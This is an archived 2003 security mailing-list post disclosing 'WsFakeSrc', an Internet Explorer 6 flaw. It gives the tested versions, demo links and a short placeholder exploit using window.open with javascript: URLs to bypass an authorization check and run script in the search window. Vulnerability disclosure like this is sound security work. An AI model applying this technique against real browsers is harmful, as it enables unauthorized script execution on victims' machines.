OSEC

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MSIE->WsFakeSrc

From: Liu Die Yu (liudieyuinchinayahoo.com.cn)
Date: Wed Sep 10 2003 - 00:52:36 CDT

WsFakeSrc

[tested]
Browser Ver
{
MS Internet Explorer: 6.0.2600.0000.xpclnt_qfe.021108-2107;
Encryption: 128-bit;
Patch:; Q810847;
}
(So, it's far from fully patched.)
OS Ver: "Windows XP Cn ver"

[demo]
http://www.safecenter.net/liudieyu/WsFakeSrc/WsFakeSrc-MyPage.HTM
or
http://umbrella.mx.tc
---> WsFakeSrc section
---> WsFakeSrc-MyPage file

[exp]
window.open("javascript:[JpuScript]","_search")
authorization checks "window.opener".
but, [VictimWindow].open is always accessible.
so:
window.open("[VictimUrl]","_search");
[VictimIframe].open("javascript:[JpuScript]","_search");
can fool the authorization and execute [JpuScript] in
the search window.

[greetings]
the Pull, dror, guninski, sandblad and "Friedrich L.Bauer".
of course, mom and dad.

best wishes

-----
from http://Umbrella.MX.TC on http://SafeCenter.NET